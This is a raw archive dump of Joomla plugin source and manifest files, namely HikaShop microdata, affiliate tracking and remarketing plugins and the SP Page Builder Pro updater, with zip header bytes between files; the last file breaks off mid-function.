			if(!preg_match('#itemprop="width"#',$product_page_parts[1])){
				$pattern='/class="hikashop_product_width_main"/';
				$replacement='class="hikashop_product_width_main" itemprop="width"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

				$pattern='/class="hikashop_product_height_main"/';
				$replacement='class="hikashop_product_height_main" itemprop="height"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

				$pattern='/class="hikashop_product_length_main"/';
				$replacement='class="hikashop_product_length_main" itemprop="depth"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

				$pattern='/class="hikashop_product_weight_main"/';
				$replacement='class="hikashop_product_weight_main" itemprop="weight"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
			}

			if($default_params['show_price'] == 1){
				$pattern='/<(span|div) id="(hikashop_product_weight_main|hikashop_product_width_main|hikashop_product_length_main|hikashop_product_height_main|hikashop_product_characteristics|hikashop_product_options|hikashop_product_custom_item_info|hikashop_product_price_with_options_main|hikashop_product_quantity_main)"/';
				$replacement='</div> <$1 id="$2"';
			}

			if(!preg_match('#itemtype="https://schema.org/Review"#',$product_page_parts[1])){
				if(strpos($product_page_parts[1],'class="hika_comment_listing_empty"')==false){
					$pattern='/class="ui-corner-all hika_comment_listing"/';
					$replacement='class="ui-corner-all hika_comment_listing" itemprop="review" itemscope itemtype="https://schema.org/Review"';
					$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1]);
				}

				$pattern='/class="hika_comment_listing_content"/';
				$replacement='class="hika_comment_listing_content" itemprop="description"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1]);

				$pattern='/class="hika_comment_listing_name"/';
				$replacement='class="hika_comment_listing_name" itemprop="author" itemscope itemtype="https://schema.org/Person"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1]);

				$pattern='/class="hika_vote_listing_username"/';
				$replacement='class="hika_vote_listing_username" itemprop="author"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1]);
			}

			if(!preg_match('#itemprop="aggregateRating"#',$product_page_parts[1])){
				$pattern='/class="hikashop_vote_stars"/';
				$replacement='class="hikashop_vote_stars" itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
			}

			if(!preg_match('#itemprop="ratingValue"#',$product_page_parts[1])){
				$ratemax=hikaInput::get()->getVar("nb_max_star");//nbmax
				$pattern='/(<span\s+class="hikashop_total_vote")/iUs';
				if(preg_match($pattern,$product_page_parts[1])){

					preg_match('/<input type="hidden" class="hikashop_vote_rating".*data-rate="(.*)"/U',$product_page_parts[1],$matches);
					if(isset($matches[1])){
						$replacement = '<span style="display:none" itemprop="ratingValue">'.$matches[1].'</span><span style="display:none" itemprop="bestRating">'.$ratemax.'</span><span style="display:none" itemprop="worstRating">1</span>$1';
						$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
					}
					preg_match('/<span class="hikashop_total_vote">.*>(.*)</U',$product_page_parts[1],$matches);
					if(isset($matches[1])){
						$replacement = '<span style="display:none" itemprop="reviewCount">'.trim($matches[1]).'</span>$1';
						$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
					}
				}else{

					$pattern='#itemtype="https://schema.org/AggregateRating">#';
					preg_match('/class="hk-rating" data-original-title="(.*)"/U',$product_page_parts[1],$matches);
					if(!isset($matches[1]))
						preg_match('/data-rate=".*" data-original-title="(.*)"/U',$product_page_parts[1],$matches);
					if(isset($matches[1])){
						preg_match_all('/<strong>.*<\/strong>(.*)<br\/>/U',$matches[1],$matches);
						if(isset($matches[1][0])){
							$replacement = 'itemtype="https://schema.org/AggregateRating"><span style="display:none" itemprop="ratingValue">'.trim($matches[1][0]).'</span><span style="display:none" itemprop="bestRating">'.$ratemax.'</span><span style="display:none" itemprop="worstRating">1</span>$1';
							$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
						}
						if(isset($matches[1][1])){
							$replacement = 'itemtype="https://schema.org/AggregateRating"><span style="display:none" itemprop="reviewCount">'.trim($matches[1][1]).'</span>$1';
							$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
						}
					}
				}
			}

			$pattern='/itemprop="keywords"/';
			$replacement='';
			$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

		}
		foreach($product_page_parts as $parts){
			echo $parts;
		}
	}
}
PK!�W��3sppagebuilderproupdater/sppagebuilderproupdater.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
    <name>System - SP Page Builder Pro Updater</name>
    <author>JoomShaper.com</author>
    <creationDate>Jul 2015</creationDate>
    <copyright>Copyright (c) 2010 - 2021 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.1</version>
    <description>SP Page Builder Pro Updater Plugin</description>

    <files>
		  <filename plugin="sppagebuilderproupdater">sppagebuilderproupdater.php</filename>
    </files>
</extension>
PK!�����3sppagebuilderproupdater/sppagebuilderproupdater.phpnu&1i�<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

use Joomla\CMS\Factory;
use Joomla\Registry\Registry;
use Joomla\CMS\Plugin\CMSPlugin;

//no direct accees
defined ('_JEXEC') or die ('restricted access');
class  plgSystemSppagebuilderproupdater extends CMSPlugin
{

    public function onExtensionAfterSave($option, $data)
    {

        if ( ($option == 'com_config.component') && ( $data->element == 'com_sppagebuilder' ) )
        {

            $params = new Registry;
            $params->loadString($data->params);
            
            $email       = $params->get('joomshaper_email');
            $license_key = $params->get('joomshaper_license_key');

            if (!empty($email) and !empty($license_key))
            {

                $extra_query = 'joomshaper_email=' . urlencode($email);
                $extra_query .='&amp;joomshaper_license_key=' . urlencode($license_key);

                $db = Factory::getDbo();
                
                $fields = array(
                    $db->quoteName('extra_query') . '=' . $db->quote($extra_query),
                    $db->quoteName('last_check_timestamp') . '=0'
                );

                // Update site
                $query = $db->getQuery(true)
                    ->update($db->quoteName('#__update_sites'))
                    ->set($fields)
                    ->where($db->quoteName('name').'='.$db->quote('SP Page Builder'));
                $db->setQuery($query);
                $db->execute();
            }
        }
    }
}PK!�#o,,hikashopaffiliate/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!G��m�@�@'hikashopaffiliate/hikashopaffiliate.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS',DIRECTORY_SEPARATOR);
jimport('joomla.plugin.plugin');

class plgSystemHikashopaffiliate extends JPlugin {
	public function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
		if(isset($this->params))
			return;

		$plugin = JPluginHelper::getPlugin('system', 'hikashopaffiliate');
		$this->params = new JRegistry(@$plugin->params);
	}

	public function afterInitialise() {
		return $this->onAfterInitialise();
	}

	public function onAfterInitialise() {
		$do = $this->params->get('after_init','1');
		if($do)
			return $this->onAfterRoute();
		return true;
	}

	public function afterRoute() {
		return $this->onAfterRoute();
	}

	public function onAfterRoute() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;
		if(@$_REQUEST['option'] == 'com_gcalendar')
			return true;

		$key_name = $this->params->get('partner_key_name', 'partner_id');
		if(version_compare(JVERSION,'3.0','>='))
			$partner_id = $app->input->getCmd($key_name, 0);
		else
			$partner_id = JRequest::getCmd($key_name, 0);

		if(empty($partner_id))
			return true;

		static $done = false;
		if($done)
			return true;
		$done = true;

		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;
		$partner_id = hikashop_decode($partner_id,'partner');

		$userClass = hikashop_get('class.user');
		$user = $userClass->get($partner_id);

		if(empty($user->user_partner_activated))
			return true;

		$config = hikashop_config();
		$cookie = true;
		if($config->get('no_affiliation_if_cart_present')) {
			$cart_id = $app->getUserState(HIKASHOP_COMPONENT.'.cart_id', 0, 'int');
			if($cart_id)
				$cookie = false;
		}
		$affiliation_exclude_domains = $config->get('affiliation_exclude_domains', '');
		if(!empty($affiliation_exclude_domains)) {
			$referer = null;
			if(!empty($_SERVER['HTTP_REFERER']) && preg_match('#^https?://.*#i',$_SERVER['HTTP_REFERER']))
				$referer = str_replace(array('"', '<', '>', "'"), '', @$_SERVER['HTTP_REFERER']);
			if(!empty($referer)) {
				$exclude_referers = explode(',', $affiliation_exclude_domains);
				foreach($exclude_referers as $ref) {
					$ref = trim($ref);
					if(strpos($referer, $ref) !== false)
						$cookie = false;
				}
			}
		}
		if($cookie)
			setcookie('hikashop_affiliate', hikashop_encode($partner_id,'partner'), time() + $config->get('click_validity_period', 2592000), '/');

		$ip = hikashop_getIP();
		$clickClass = hikashop_get('class.click');
		$latest = $clickClass->getLatest($partner_id, $ip, $config->get('click_min_delay', 86400));

		if(empty($user->user_params->user_custom_fee)) {
			$user->user_params->partner_click_fee = $config->get('partner_click_fee',0);
			$user->user_params->partner_fee_currency = $config->get('partner_currency',1);
		} else {
			$user->user_params->partner_click_fee = $user->user_params->user_partner_click_fee;
		}

		if(!$config->get('allow_currency_selection',0) || empty($user->user_currency_id))
			$user->user_currency_id =  $config->get('partner_currency',1);

		if(bccomp($user->user_params->partner_click_fee,0,5) && $user->user_currency_id!=$user->user_params->partner_fee_currency)
			$user->user_params->partner_click_fee = $this->_convert($user->user_params->partner_click_fee,$user->user_params->partner_fee_currency,$user->user_currency_id);

		if(!empty($latest))
			$user->user_params->partner_click_fee = 0;

		$click = new stdClass();
		$click->click_partner_id = $partner_id;
		$click->click_ip = $ip;
		$click->click_partner_price = $user->user_params->partner_click_fee;
		$click->click_partner_currency_id = $user->user_currency_id;
		$clickClass->save($click);

		return true;
	}

	public function onBeforeOrderUpdate(&$order,&$do){
		if(!empty($order->order_type) && $order->order_type != 'sale')
			return;
		if(!empty($order->old->order_type) && $order->old->order_type != 'sale')
			return;

		if(!empty($order->order_partner_paid))
			return true;

		if(!isset($order->order_full_price))
			return true;

		if(!empty($order->old)) {
			if(!empty($order->old->order_partner_paid))
				return true;

			if(floatval($order->old->order_full_price) == floatval($order->order_full_price))
				return true;

			if(empty($order->order_partner_id))
				$order->order_partner_id = $order->old->order_partner_id;

			return $this->onBeforeOrderCreate($order, $do);
		}

		return true;
	}

	public function getPartner(&$order) {
		$config =& hikashop_config();
		if($config->get('add_partner_to_user_account', 0) && !empty($order->order_user_id)) {
			$class = hikashop_get('class.user');
			$user = $class->get($order->order_user_id);
			if(!empty($user->user_partner_id))
				return $user->user_partner_id;
		}
		return hikashop_decode(hikaInput::get()->cookie->getCmd('hikashop_affiliate', 0), 'partner');
	}

	public function onBeforeOrderCreate(&$order, &$do) {
		$app = JFactory::getApplication();
		if(!empty($order->order_type) && $order->order_type != 'sale')
			return;

		if(empty($order->order_partner_id)) {
			if(hikashop_isClient('administrator'))
				return true;

			if(!empty($order->order_discount_code)) {
				$discountClass = hikashop_get('class.discount');
				$coupon = $discountClass->load($order->order_discount_code);

				if(isset($coupon->discount_affiliate) && $coupon->discount_affiliate == -1) {
					return true;
				} elseif(isset($coupon->discount_affiliate) && $coupon->discount_affiliate) {
					$partner_id = $coupon->discount_affiliate;
					$userClass = hikashop_get('class.user');
					$user = $userClass->get($order->order_user_id);
					if($user->user_cms_id) {
						$this->addPartnerToUser($user->user_cms_id, $partner_id);
					}
				} else {
					$partner_id = $this->getPartner($order);
				}
			} else {
				$partner_id = $this->getPartner($order);
			}

			if(empty($partner_id))
				return true;

		} else {
			$partner_id = $order->order_partner_id;
		}

		$config =& hikashop_config();
		if($config->get('no_self_affiliation', 0) && $order->order_user_id == $partner_id)
			return true;

		$userClass = hikashop_get('class.user');
		$user = $userClass->get($partner_id);

		if(empty($user))
			return true;

		if(empty($user->user_partner_activated))
			return true;

		$order->order_partner_id = $partner_id;

		if(empty($user->user_params->user_custom_fee)) {
			$user->user_params->partner_percent_fee = $config->get('partner_percent_fee',0);
			$user->user_params->partner_flat_fee = $config->get('partner_flat_fee',0);
			$user->user_params->partner_fee_currency = $config->get('partner_currency',1);
		} else {
			$user->user_params->partner_percent_fee = $user->user_params->user_partner_percent_fee;
			$user->user_params->partner_flat_fee =$user->user_params->user_partner_flat_fee;
		}

		if(!$config->get('allow_currency_selection',0) || empty($user->user_currency_id))
			$user->user_currency_id =  $config->get('partner_currency',1);

		if(bccomp($user->user_params->partner_flat_fee,0,5) && $user->user_currency_id!=$user->user_params->partner_fee_currency)
			$user->user_params->partner_flat_fee = $this->_convert($user->user_params->partner_flat_fee,$user->user_params->partner_fee_currency,$user->user_currency_id);

		if(bccomp($user->user_params->partner_percent_fee, 0, 5) || bccomp($user->user_params->partner_flat_fee, 0, 5)) {
			if(bccomp($user->user_params->partner_percent_fee, 0, 5)) {
				$order_price = $order->order_full_price;
				if($config->get('affiliate_fee_exclude_shipping', 0)) {
					$order_price = $order_price - $order->order_shipping_price;
				}
				$fees = $order_price*$user->user_params->partner_percent_fee/100;
			} else {
				$fees = 0;
			}

			if($order->order_currency_id!=$user->user_currency_id)
				$fees = $this->_convert($fees,$order->order_currency_id,$user->user_currency_id);

			$order->order_partner_price = $fees + $user->user_params->partner_flat_fee;
			$order->order_partner_currency_id = $user->user_currency_id;
		}

		return true;
	}

	protected function _convert($amount,$src_id,$dst_id) {
		$currencyClass = hikashop_get('class.currency');
		$config =& hikashop_config();
		$setcurrencies = null;
		$main_currency = (int)$config->get('main_currency',1);
		$ids[$src_id] = $src_id;
		$ids[$dst_id] = $dst_id;
		$ids[$main_currency] = $main_currency;
		$currencies = $currencyClass->getCurrencies($ids,$setcurrencies);
		$srcCurrency = $currencies[$src_id];
		$dstCurrency = $currencies[$dst_id];
		$mainCurrency =  $currencies[$main_currency];

		if($srcCurrency->currency_id != $mainCurrency->currency_id) {
			$amount = floatval($amount) / floatval($srcCurrency->currency_rate);
			$amount += $amount * floatval($srcCurrency->currency_percent_fee) / 100.0;
		}

		if($dstCurrency->currency_id != $mainCurrency->currency_id) {
			$amount = floatval($amount) * floatval($dstCurrency->currency_rate);
			$amount += $amount * floatval($dstCurrency->currency_percent_fee)/100.0;
		}
		return $amount;
	}

	public function onUserAfterSave($user, $isnew, $success, $msg) {
		return $this->onAfterStoreUser($user, $isnew, $success, $msg);
	}

	public function onAfterStoreUser($user, $isnew, $success, $msg){
		if($success === false)
			return false;

		$app = JFactory::getApplication();

		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if($admin || !$isnew)
			return true;

		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$partner_id = hikaInput::get()->cookie->getCmd('hikashop_affiliate', 0);
		if(empty($partner_id))
			return true;

		$partner_id = hikashop_decode($partner_id,'partner');

		$this->addPartnerToUser($user['id'], $partner_id);

		return true;
	}

	public function onBeforeHikaUserRegistration(&$ret, $input_data, $mode) {
		$config = hikashop_config();
		$formData = hikaInput::get()->get('data', array(), 'array');
		if($config->get('affiliate_registration', 0) && !empty($formData['affiliate'])) {
			$ret['userData']->user_partner_activated = 1;
			$ret['registerData']->user_partner_activated = 1;
		}
	}

	protected function addPartnerToUser($user_id, $partner_id){
		$userClass = hikashop_get('class.user');
		$partner = $userClass->get($partner_id);
		if(empty($partner->user_partner_activated))
			return true;

		$config =& hikashop_config();
		if(empty($partner->user_params->user_custom_fee)) {
			$partner->user_params->partner_lead_fee = $config->get('partner_lead_fee',0);
			$partner->user_params->partner_fee_currency = $config->get('partner_currency',1);
		} else {
			$partner->user_params->partner_lead_fee = $partner->user_params->user_partner_lead_fee;
		}

		if(!$config->get('allow_currency_selection',0) || empty($partner->user_currency_id))
			$partner->user_currency_id = $config->get('partner_currency',1);

		if(bccomp($partner->user_params->partner_lead_fee,0,5) && $partner->user_currency_id!=$partner->user_params->partner_fee_currency)
			$partner->user_params->partner_lead_fee = $this->_convert($partner->user_params->partner_lead_fee,$partner->user_params->partner_fee_currency,$partner->user_currency_id);

		$ip = hikashop_getIP();
		$clickClass = hikashop_get('class.click');
		$latest = $clickClass->getLatest($partner_id,$ip,$config->get('lead_min_delay',24));

		if($config->get('add_partner_to_user_account',0) || (empty($latest) && bccomp($partner->user_params->partner_lead_fee,0,5))) {
			$userDataInDb = $userClass->get($user_id,'cms');
			$userData = new stdClass();
			$userData->user_id = @$userDataInDb->user_id;
			$userData->user_cms_id = $user_id;
			$userData->user_partner_id = $partner_id;
			$userData->user_partner_price = @$partner->user_params->partner_lead_fee;
			$userData->user_partner_currency_id = $partner->user_currency_id;
			$userClass->save($userData);
		}
	}

	public function onUserAccountDisplay(&$buttons) {
		$button = $this->params->get('button_on_control_panel','1');
		if(!$button)
			return;
		global $Itemid;
		$url_itemid = '';
		if(!empty($Itemid))
			$url_itemid = '&Itemid=' . $Itemid;

		$buttons['affiliate'] = array(
			'link' => hikashop_completeLink('affiliate'.$url_itemid),
			'level' => 1,
			'image' => 'affiliate',
			'text' => JText::_('AFFILIATE'),
			'description' => JText::_('AFFILIATE_PROGRAM'),
			'fontawesome' => ''.
				'<i class="fas fa-user fa-stack-2x"></i>'.
				'<i class="fas fa-circle fa-stack-1x fa-inverse" style="top:30%;left:30%;"></i>'.
				'<i class="fas fa-dollar-sign fa-stack-1x" style="top:30%;left:30%;"></i>'
		);
		return true;
	}

	public function onBeforeOrderListing($paramBase, &$extrafilters, &$pageInfo, &$filters) {
		$app = JFactory::getApplication();
		if(!hikashop_isClient('administrator'))
			return;
		$pageInfo->filter->filter_partner = $app->getUserStateFromRequest($paramBase.".filter_partner",'filter_partner','','int');
		$extrafilters['filter_partner'] =& $this;

		if(!empty($pageInfo->filter->filter_partner)) {
			if($pageInfo->filter->filter_partner == 1) {
				$filters[] = 'b.order_partner_id != 0';
			} else {
				$filters[] = 'b.order_partner_id = 0';
			}
		}
	}

	public function onAfterOrderListing(&$rows, &$extrafields, $pageInfo) {
		$app = JFactory::getApplication();
		if(!hikashop_isClient('administrator'))
			return;
		$myextrafield = new stdClass();
		$myextrafield->name = JText::_('PARTNER');
		$myextrafield->obj =& $this;
		$extrafields['partner'] = $myextrafield;
	}

	public function displayFilter($name, $filter) {
		$partner = hikashop_get('type.user_partner');
		return $partner->display('filter_partner', $filter->filter_partner, false);
	}

	public function showField($container, $name, &$row) {
		if(!bccomp($row->order_partner_price, 0, 5))
			return '';
		$ret = $container->currencyHelper->format($row->order_partner_price,$row->order_partner_currency_id);
		if(empty($row->order_partner_paid)) {
			$ret .= JText::_('NOT_PAID');
		} else {
			$ret .= JText::_('PAID').'<img src="'.HIKASHOP_IMAGES.'ok.png" />';
		}
		return $ret;
	}

	public function onDiscountBlocksDisplay(&$discount, &$html) {
		$options = array(
			JHTML::_('select.option', -1, JText::_('NO_PARTNER')),
			JHTML::_('select.option', 0, JText::_('CURRENT_CUSTOMER_PARTNER'))
		);
		$db = JFactory::getDBO();
		$db->setQuery('SELECT a.user_id, b.name, b.username FROM #__hikashop_user AS a LEFT JOIN #__users AS b ON a.user_cms_id = b.id WHERE a.user_partner_activated = 1 ORDER BY b.username', 0, 250);
		$partners = $db->loadObjectList();
		if(!empty($partners)) {
			foreach($partners as $partner) {
				$options[] = JHTML::_('select.option', $partner->user_id, $partner->username.' ('.$partner->name.')');
			}
		}
		$html[] = '<dt data-discount-display="coupon"><label>'. JText::_('FORCE_AFFILIATION_TO') .'</label></dt><dd data-discount-display="coupon">'.
				JHTML::_('hikaselect.genericlist', $options, 'data[discount][discount_affiliate]' , 'class="custom-select"', 'value', 'text', @$discount->discount_affiliate ).
				'</dd>';
	}

	function onOrderStatusListingLoad( &$orderstatus_columns, &$rows){
		$orderstatus_columns['affiliate'] = array(
			'text' => JText::_('AFFILIATE'),
			'title' => JText::_('VALID_ORDER_STATUS'),
			'description' => JText::_('AFFILIATE_DESC'),
			'key' => 'partner_valid_status',
			'default' => 'confirmed,shipped',
			'type' => 'toggle',
			'trigger' => 'plg.system.hikashopaffiliate.affiliateStatusUpdate'
		);
	}

	function affiliateStatusUpdate(&$controller, $elementPkey, $value, $extra){
		return $controller->configstatus($elementPkey,$value, $extra);
	}
}
PK!���'hikashopaffiliate/hikashopaffiliate.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
	<name>System - HikaShop Affiliate</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>HikaShop System plugin to handle affiliates</description>
	<files>
		<filename plugin="hikashopaffiliate">hikashopaffiliate.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="partner_key_name" type="text" label="HIKA_PARTNER_KEY_NAME" description="PARTNER_KEY_NAME" default="partner_id"/>
		<param name="after_init" type="radio" label="AFTER_INITIALISATION" default="1" description="AFFILIATE_AFTER_INITIALISATION" >
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param
			name="button_on_control_panel"
			type="radio"
			label="BUTTON_ON_CONTROL_PANEL"
			default="1"
			description="BUTTON_ON_CONTROL_PANEL" >
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="partner_key_name"
					type="text"
					label="HIKA_PARTNER_KEY_NAME"
					default="partner_id"
					description="PARTNER_KEY_NAME" />
				<field
					name="after_init"
					type="radio"
					label="AFTER_INITIALISATION"
					default="0"
					description="AFFILIATE_AFTER_INITIALISATION" >
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field
					name="button_on_control_panel"
					type="radio"
					label="BUTTON_ON_CONTROL_PANEL"
					default="1"
					description="BUTTON_ON_CONTROL_PANEL" >
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�#o,,hikashopremarketing/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!?�s˙�+hikashopremarketing/hikashopremarketing.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>HikaShop Google Dynamic Remarketing (conversion tracking)</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL</license>
	<description>Hikashop Google remarketing (conversion tracking) plugin</description>
	<files>
		<filename plugin="hikashopremarketing">hikashopremarketing.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="adwordsid" type="text" default="" label="HIKA_ADWORDS_ID" description="ADWORDS_ID" />
		<param name="ecomm_prodid" type="text" size="50" default="product_code" label="ECOMM_PRODID_LABEL" description="ECOMM_PRODID_DESC" />
		<param name="price_displayed" type="list" default="0" label="HIKA_PRICE_DISPLAYED" description="PRICE_DISPLAYED">
			<option value="cheapest">CHEAPEST_PRICE_DISPLAYED</option>
			<option value="average">AVERAGE_PRICE_DISPLAYED</option>
			<option value="expensive">MOST_EXPENSIVE_PRICE_DISPLAYED</option>
			<option value="unit">UNIT_PRICE_DISPLAYED</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="adwordsid" type="text" default="" label="HIKA_ADWORDS_ID" description="ADWORDS_ID" />
				<field name="ecomm_prodid" type="text" size="50" default="product_code" label="ECOMM_PRODID_LABEL" description="ECOMM_PRODID_DESC" />
				<field name="price_displayed" type="list" default="0" label="HIKA_PRICE_DISPLAYED" description="PRICE_DISPLAYED">
					<option value="cheapest">CHEAPEST_PRICE_DISPLAYED</option>
					<option value="average">AVERAGE_PRICE_DISPLAYED</option>
					<option value="expensive">MOST_EXPENSIVE_PRICE_DISPLAYED</option>
					<option value="unit">UNIT_PRICE_DISPLAYED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!{���77+hikashopremarketing/hikashopremarketing.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemHikashopremarketing extends JPlugin
{
	public function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
		if(isset($this->params))
			return;

		$plugin = JPluginHelper::getPlugin('system', 'hikashopremarketing');
		$this->params = new JRegistry($plugin->params);
	}

	public function onAfterRender() {
		$adwords_id = $this->params->get('adwordsid', 0);
		if (empty($adwords_id) || $adwords_id == 0)
			return true;

		$app = JFactory::getApplication();
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if(version_compare(JVERSION,'3.0','>=')) {
			$layout = $app->input->getString('layout');
		} else {
			$layout = JRequest::getString('layout');
		}

		if ($layout == 'edit')
			return true;

		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body)) {
			$body = $app->getBody();
			$alternate_body = true;
		}

		if (!preg_match_all('#\<input (.*)\/\>#Uis', $body, $matches))
			return true;

		$para = array();
		$matches = $matches[1];
		$nbtag = count($matches);
		for ($i = 0; $i < $nbtag; $i++) {
			if (preg_match_all('#name="product_id"#Uis', $matches[$i], $pattern) && preg_match_all('#value="(.*)"#Uis', $matches[$i], $tag)) {
				$para[ (int)$tag[1][0] ] = (int)$tag[1][0];
			}
		}

		if (count($para) == 0)
			return true;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$db = JFactory::getDBO();
		$tags = array();

		$product_query = 'SELECT * FROM ' . hikashop_table('product') .
			' WHERE product_id IN (' . implode(',', $para) . ') AND product_access = '.$db->Quote('all').' AND product_published = 1 AND product_type = '.$db->Quote('main');
		$db->setQuery($product_query);
		$products = $db->loadObjectList('product_id');
		foreach($products as $k => $product) {
			$val = $this->_additionalParameter($product,'ecomm_prodid');
			if($val)
				$tags[(int)$product->product_id] = $val;
		}

		if (count($tags) == 0)
			return true;

		$params = array('ecomm_prodid: [\''.implode('\',\'', $tags) .'\']', 'ecomm_pagetype: \'product\'');

		$zone_id = hikashop_getZone();
		$currencyClass = hikashop_get('class.currency');
		$config =& hikashop_config();
		$main_currency = (int)$config->get('main_currency',1);
		$price_displayed = $this->params->get('price_displayed');
		switch($price_displayed){
			case 'expensive':
				$currencyClass->getListingPrices($products,$zone_id,$main_currency,'range');
				$tmpPrice = 0;
				foreach($products as $product){
					if(isset($product->prices[0]->price_value)){
						if(count($product->prices)>1){
							for($i=0;$i<count($product->prices);$i++){
								if($product->prices[$i]->price_value > $tmpPrice){
									$tmpPrice = $product->prices[$i]->price_value;
									$key = $i;
								}
							}
							$product->prices[0] = $product->prices[$key];
							for($i=1;$i<count($product->prices);$i++){
								unset($product->prices[$i]);
							}
						}
					}
				}
				break;
			case 'average':
				$currencyClass->getListingPrices($products,$zone_id,$main_currency,'range');
				$tmpPrice = 0;
				$tmpTaxPrice = 0;
				foreach($products as $product){
					if(isset($product->prices[0]->price_value)){
						if(count($product->prices) > 1){
							for($i=0;$i<count($product->prices);$i++){
								if($product->prices[$i]->price_value > $tmpPrice){
									$tmpPrice += $product->prices[$i]->price_value;
									$tmpTaxPrice += @$product->prices[$i]->price_value_with_tax;
								}
							}
							$product->prices[0]->price_value = $tmpPrice/count($product->prices);
							$product->prices[0]->price_value_with_tax = $tmpTaxPrice/count($product->prices);
							for($i=1;$i<count($product->prices);$i++){
								unset($product->prices[$i]);
							}
						}
					}
				}
				break;
			case 'unit':
			case 'cheapest':
			default:
				$currencyClass->getListingPrices($products,$zone_id,$main_currency,$price_displayed);
				break;
		}
		$colum = 'price_value';
		if($config->get('price_with_tax')){
			$colum = 'price_value_with_tax';
		}
		foreach($products as $product){
			if(!empty($product->prices) && count($product->prices)){
				$params[]='ecomm_totalvalue: '.round($product->prices[0]->$colum,2);
				break;
			}
		}

		$id = trim($this->params->get('adwordsid'));
